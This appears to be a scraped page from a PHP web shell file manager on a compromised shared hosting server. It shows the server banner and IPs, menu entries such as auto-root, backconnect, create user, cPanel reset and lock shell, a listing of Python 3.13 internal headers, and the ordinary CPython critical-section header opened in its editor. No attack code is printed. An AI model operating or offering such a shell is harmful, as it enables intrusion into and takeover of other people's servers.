Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
python313 /
include /
python3.13 /
internal /
[ HOME SHELL ]
Name
Size
Permission
Action
mimalloc
[ DIR ]
drwxr-xr-x
pycore_abstract.h
1.87
KB
-rw-r--r--
pycore_asdl.h
2.96
KB
-rw-r--r--
pycore_ast.h
30.78
KB
-rw-r--r--
pycore_ast_state.h
6.62
KB
-rw-r--r--
pycore_atexit.h
1.4
KB
-rw-r--r--
pycore_backoff.h
3.81
KB
-rw-r--r--
pycore_bitutils.h
5.88
KB
-rw-r--r--
pycore_blocks_output_buffer.h
8.57
KB
-rw-r--r--
pycore_brc.h
2.05
KB
-rw-r--r--
pycore_bytes_methods.h
3.84
KB
-rw-r--r--
pycore_bytesobject.h
4.98
KB
-rw-r--r--
pycore_call.h
5.99
KB
-rw-r--r--
pycore_capsule.h
397
B
-rw-r--r--
pycore_cell.h
1.03
KB
-rw-r--r--
pycore_ceval.h
11.1
KB
-rw-r--r--
pycore_ceval_state.h
3.83
KB
-rw-r--r--
pycore_code.h
19.71
KB
-rw-r--r--
pycore_codecs.h
2.41
KB
-rw-r--r--
pycore_compile.h
3.66
KB
-rw-r--r--
pycore_complexobject.h
588
B
-rw-r--r--
pycore_condvar.h
2.64
KB
-rw-r--r--
pycore_context.h
1.15
KB
-rw-r--r--
pycore_critical_section.h
7.78
KB
-rw-r--r--
pycore_crossinterp.h
11.84
KB
-rw-r--r--
pycore_descrobject.h
543
B
-rw-r--r--
pycore_dict.h
11.98
KB
-rw-r--r--
pycore_dict_state.h
732
B
-rw-r--r--
pycore_dtoa.h
1.69
KB
-rw-r--r--
pycore_emscripten_signal.h
685
B
-rw-r--r--
pycore_emscripten_trampoline.h
3.11
KB
-rw-r--r--
pycore_exceptions.h
900
B
-rw-r--r--
pycore_faulthandler.h
2.19
KB
-rw-r--r--
pycore_fileutils.h
9.25
KB
-rw-r--r--
pycore_fileutils_windows.h
2.65
KB
-rw-r--r--
pycore_floatobject.h
1.46
KB
-rw-r--r--
pycore_flowgraph.h
1.45
KB
-rw-r--r--
pycore_format.h
480
B
-rw-r--r--
pycore_frame.h
12.08
KB
-rw-r--r--
pycore_freelist.h
4.7
KB
-rw-r--r--
pycore_function.h
1.5
KB
-rw-r--r--
pycore_gc.h
12.66
KB
-rw-r--r--
pycore_genobject.h
859
B
-rw-r--r--
pycore_getopt.h
490
B
-rw-r--r--
pycore_gil.h
2.14
KB
-rw-r--r--
pycore_global_objects.h
3.02
KB
-rw-r--r--
pycore_global_objects_fini_gen...
115.04
KB
-rw-r--r--
pycore_global_strings.h
26.08
KB
-rw-r--r--
pycore_hamt.h
3.65
KB
-rw-r--r--
pycore_hashtable.h
4.26
KB
-rw-r--r--
pycore_identifier.h
515
B
-rw-r--r--
pycore_import.h
7.55
KB
-rw-r--r--
pycore_importdl.h
3.96
KB
-rw-r--r--
pycore_initconfig.h
6.23
KB
-rw-r--r--
pycore_instruction_sequence.h
2.11
KB
-rw-r--r--
pycore_instruments.h
2.28
KB
-rw-r--r--
pycore_interp.h
14.72
KB
-rw-r--r--
pycore_intrinsics.h
1.71
KB
-rw-r--r--
pycore_jit.h
527
B
-rw-r--r--
pycore_list.h
1.82
KB
-rw-r--r--
pycore_llist.h
2.36
KB
-rw-r--r--
pycore_lock.h
8.34
KB
-rw-r--r--
pycore_long.h
9.73
KB
-rw-r--r--
pycore_memoryobject.h
427
B
-rw-r--r--
pycore_mimalloc.h
1.6
KB
-rw-r--r--
pycore_modsupport.h
3.27
KB
-rw-r--r--
pycore_moduleobject.h
1.54
KB
-rw-r--r--
pycore_namespace.h
435
B
-rw-r--r--
pycore_object.h
27.28
KB
-rw-r--r--
pycore_object_alloc.h
2.13
KB
-rw-r--r--
pycore_object_stack.h
2.33
KB
-rw-r--r--
pycore_object_state.h
942
B
-rw-r--r--
pycore_obmalloc.h
26.78
KB
-rw-r--r--
pycore_obmalloc_init.h
1.89
KB
-rw-r--r--
pycore_opcode_metadata.h
82.88
KB
-rw-r--r--
pycore_opcode_utils.h
2.07
KB
-rw-r--r--
pycore_optimizer.h
8.11
KB
-rw-r--r--
pycore_parking_lot.h
3.27
KB
-rw-r--r--
pycore_parser.h
2.04
KB
-rw-r--r--
pycore_pathconfig.h
658
B
-rw-r--r--
pycore_pyarena.h
2.79
KB
-rw-r--r--
pycore_pyatomic_ft_wrappers.h
7.87
KB
-rw-r--r--
pycore_pybuffer.h
510
B
-rw-r--r--
pycore_pyerrors.h
4.84
KB
-rw-r--r--
pycore_pyhash.h
2.75
KB
-rw-r--r--
pycore_pylifecycle.h
4.36
KB
-rw-r--r--
pycore_pymath.h
8.4
KB
-rw-r--r--
pycore_pymem.h
5.24
KB
-rw-r--r--
pycore_pymem_init.h
3.44
KB
-rw-r--r--
pycore_pystate.h
9.73
KB
-rw-r--r--
pycore_pystats.h
420
B
-rw-r--r--
pycore_pythonrun.h
758
B
-rw-r--r--
pycore_pythread.h
5.95
KB
-rw-r--r--
pycore_qsbr.h
5.39
KB
-rw-r--r--
pycore_range.h
346
B
-rw-r--r--
pycore_runtime.h
12.86
KB
-rw-r--r--
pycore_runtime_init.h
12.74
KB
-rw-r--r--
pycore_runtime_init_generated....
45.72
KB
-rw-r--r--
pycore_semaphore.h
1.69
KB
-rw-r--r--
pycore_setobject.h
951
B
-rw-r--r--
pycore_signal.h
2.86
KB
-rw-r--r--
pycore_sliceobject.h
369
B
-rw-r--r--
pycore_stackref.h
5.06
KB
-rw-r--r--
pycore_strhex.h
1013
B
-rw-r--r--
pycore_structseq.h
963
B
-rw-r--r--
pycore_symtable.h
8.47
KB
-rw-r--r--
pycore_sysmodule.h
1.15
KB
-rw-r--r--
pycore_time.h
11.52
KB
-rw-r--r--
pycore_token.h
2.93
KB
-rw-r--r--
pycore_traceback.h
3.54
KB
-rw-r--r--
pycore_tracemalloc.h
4.43
KB
-rw-r--r--
pycore_tstate.h
1.32
KB
-rw-r--r--
pycore_tuple.h
820
B
-rw-r--r--
pycore_typeobject.h
8.67
KB
-rw-r--r--
pycore_typevarobject.h
924
B
-rw-r--r--
pycore_ucnhash.h
958
B
-rw-r--r--
pycore_unicodeobject.h
12.96
KB
-rw-r--r--
pycore_unicodeobject_generated...
129.04
KB
-rw-r--r--
pycore_unionobject.h
742
B
-rw-r--r--
pycore_uop_ids.h
10.06
KB
-rw-r--r--
pycore_uop_metadata.h
38.72
KB
-rw-r--r--
pycore_warnings.h
840
B
-rw-r--r--
pycore_weakref.h
3.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pycore_critical_section.h
#ifndef Py_INTERNAL_CRITICAL_SECTION_H #define Py_INTERNAL_CRITICAL_SECTION_H #ifndef Py_BUILD_CORE # error "this header requires Py_BUILD_CORE define" #endif #include "pycore_lock.h" // PyMutex #include "pycore_pystate.h" // _PyThreadState_GET() #include <stdint.h> #ifdef __cplusplus extern "C" { #endif // Tagged pointers to critical sections use the two least significant bits to // mark if the pointed-to critical section is inactive and whether it is a // PyCriticalSection2 object. #define _Py_CRITICAL_SECTION_INACTIVE 0x1 #define _Py_CRITICAL_SECTION_TWO_MUTEXES 0x2 #define _Py_CRITICAL_SECTION_MASK 0x3 #ifdef Py_GIL_DISABLED # define Py_BEGIN_CRITICAL_SECTION_MUT(mutex) \ { \ PyCriticalSection _py_cs; \ _PyCriticalSection_BeginMutex(&_py_cs, mutex) # define Py_BEGIN_CRITICAL_SECTION2_MUT(m1, m2) \ { \ PyCriticalSection2 _py_cs2; \ _PyCriticalSection2_BeginMutex(&_py_cs2, m1, m2) // Specialized version of critical section locking to safely use // PySequence_Fast APIs without the GIL. For performance, the argument *to* // PySequence_Fast() is provided to the macro, not the *result* of // PySequence_Fast(), which would require an extra test to determine if the // lock must be acquired. # define Py_BEGIN_CRITICAL_SECTION_SEQUENCE_FAST(original) \ { \ PyObject *_orig_seq = _PyObject_CAST(original); \ const bool _should_lock_cs = PyList_CheckExact(_orig_seq); \ PyCriticalSection _cs; \ if (_should_lock_cs) { \ _PyCriticalSection_Begin(&_cs, _orig_seq); \ } # define Py_END_CRITICAL_SECTION_SEQUENCE_FAST() \ if (_should_lock_cs) { \ PyCriticalSection_End(&_cs); \ } \ } // Asserts that the mutex is locked. The mutex must be held by the // top-most critical section otherwise there's the possibility // that the mutex would be swalled out in some code paths. #define _Py_CRITICAL_SECTION_ASSERT_MUTEX_LOCKED(mutex) \ _PyCriticalSection_AssertHeld(mutex) // Asserts that the mutex for the given object is locked. The mutex must // be held by the top-most critical section otherwise there's the // possibility that the mutex would be swalled out in some code paths. #ifdef Py_DEBUG # define _Py_CRITICAL_SECTION_ASSERT_OBJECT_LOCKED(op) \ if (Py_REFCNT(op) != 1) { \ _Py_CRITICAL_SECTION_ASSERT_MUTEX_LOCKED(&_PyObject_CAST(op)->ob_mutex); \ } #else /* Py_DEBUG */ # define _Py_CRITICAL_SECTION_ASSERT_OBJECT_LOCKED(op) #endif /* Py_DEBUG */ #else /* !Py_GIL_DISABLED */ // The critical section APIs are no-ops with the GIL. # define Py_BEGIN_CRITICAL_SECTION_MUT(mut) { # define Py_BEGIN_CRITICAL_SECTION2_MUT(m1, m2) { # define Py_BEGIN_CRITICAL_SECTION_SEQUENCE_FAST(original) { # define Py_END_CRITICAL_SECTION_SEQUENCE_FAST() } # define _Py_CRITICAL_SECTION_ASSERT_MUTEX_LOCKED(mutex) # define _Py_CRITICAL_SECTION_ASSERT_OBJECT_LOCKED(op) #endif /* !Py_GIL_DISABLED */ // Resumes the top-most critical section. PyAPI_FUNC(void) _PyCriticalSection_Resume(PyThreadState *tstate); // (private) slow path for locking the mutex PyAPI_FUNC(void) _PyCriticalSection_BeginSlow(PyCriticalSection *c, PyMutex *m); PyAPI_FUNC(void) _PyCriticalSection2_BeginSlow(PyCriticalSection2 *c, PyMutex *m1, PyMutex *m2, int is_m1_locked); PyAPI_FUNC(void) _PyCriticalSection_SuspendAll(PyThreadState *tstate); #ifdef Py_GIL_DISABLED static inline int _PyCriticalSection_IsActive(uintptr_t tag) { return tag != 0 && (tag & _Py_CRITICAL_SECTION_INACTIVE) == 0; } static inline void _PyCriticalSection_BeginMutex(PyCriticalSection *c, PyMutex *m) { if (PyMutex_LockFast(&m->_bits)) { PyThreadState *tstate = _PyThreadState_GET(); c->_cs_mutex = m; c->_cs_prev = tstate->critical_section; tstate->critical_section = (uintptr_t)c; } else { _PyCriticalSection_BeginSlow(c, m); } } static inline void _PyCriticalSection_Begin(PyCriticalSection *c, PyObject *op) { _PyCriticalSection_BeginMutex(c, &op->ob_mutex); } #define PyCriticalSection_Begin _PyCriticalSection_Begin // Removes the top-most critical section from the thread's stack of critical // sections. If the new top-most critical section is inactive, then it is // resumed. static inline void _PyCriticalSection_Pop(PyCriticalSection *c) { PyThreadState *tstate = _PyThreadState_GET(); uintptr_t prev = c->_cs_prev; tstate->critical_section = prev; if ((prev & _Py_CRITICAL_SECTION_INACTIVE) != 0) { _PyCriticalSection_Resume(tstate); } } static inline void _PyCriticalSection_End(PyCriticalSection *c) { PyMutex_Unlock(c->_cs_mutex); _PyCriticalSection_Pop(c); } #define PyCriticalSection_End _PyCriticalSection_End static inline void _PyCriticalSection2_BeginMutex(PyCriticalSection2 *c, PyMutex *m1, PyMutex *m2) { if (m1 == m2) { // If the two mutex arguments are the same, treat this as a critical // section with a single mutex. c->_cs_mutex2 = NULL; _PyCriticalSection_BeginMutex(&c->_cs_base, m1); return; } if ((uintptr_t)m2 < (uintptr_t)m1) { // Sort the mutexes so that the lower address is locked first. // The exact order does not matter, but we need to acquire the mutexes // in a consistent order to avoid lock ordering deadlocks. PyMutex *tmp = m1; m1 = m2; m2 = tmp; } if (PyMutex_LockFast(&m1->_bits)) { if (PyMutex_LockFast(&m2->_bits)) { PyThreadState *tstate = _PyThreadState_GET(); c->_cs_base._cs_mutex = m1; c->_cs_mutex2 = m2; c->_cs_base._cs_prev = tstate->critical_section; uintptr_t p = (uintptr_t)c | _Py_CRITICAL_SECTION_TWO_MUTEXES; tstate->critical_section = p; } else { _PyCriticalSection2_BeginSlow(c, m1, m2, 1); } } else { _PyCriticalSection2_BeginSlow(c, m1, m2, 0); } } static inline void _PyCriticalSection2_Begin(PyCriticalSection2 *c, PyObject *a, PyObject *b) { _PyCriticalSection2_BeginMutex(c, &a->ob_mutex, &b->ob_mutex); } #define PyCriticalSection2_Begin _PyCriticalSection2_Begin static inline void _PyCriticalSection2_End(PyCriticalSection2 *c) { if (c->_cs_mutex2) { PyMutex_Unlock(c->_cs_mutex2); } PyMutex_Unlock(c->_cs_base._cs_mutex); _PyCriticalSection_Pop(&c->_cs_base); } #define PyCriticalSection2_End _PyCriticalSection2_End static inline void _PyCriticalSection_AssertHeld(PyMutex *mutex) { #ifdef Py_DEBUG PyThreadState *tstate = _PyThreadState_GET(); uintptr_t prev = tstate->critical_section; if (prev & _Py_CRITICAL_SECTION_TWO_MUTEXES) { PyCriticalSection2 *cs = (PyCriticalSection2 *)(prev & ~_Py_CRITICAL_SECTION_MASK); assert(cs != NULL && (cs->_cs_base._cs_mutex == mutex || cs->_cs_mutex2 == mutex)); } else { PyCriticalSection *cs = (PyCriticalSection *)(tstate->critical_section & ~_Py_CRITICAL_SECTION_MASK); assert(cs != NULL && cs->_cs_mutex == mutex); } #endif } #endif /* Py_GIL_DISABLED */ #ifdef __cplusplus } #endif #endif /* !Py_INTERNAL_CRITICAL_SECTION_H */
Close